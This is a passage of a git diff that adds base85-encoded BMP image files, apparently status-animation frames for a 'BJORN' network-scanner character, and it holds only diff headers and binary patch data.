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 DsCzj7 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner4.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner4.bmp new file mode 100644 index 0000000000000000000000000000000000000000..2883594bea91a13dba13bb36173019043a69dee4 GIT binary patch literal 18462 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner5.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner5.bmp new file mode 100644 index 0000000000000000000000000000000000000000..2bd18470c28751c17e89783c485b4b115e7ae04e GIT binary patch literal 18462 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 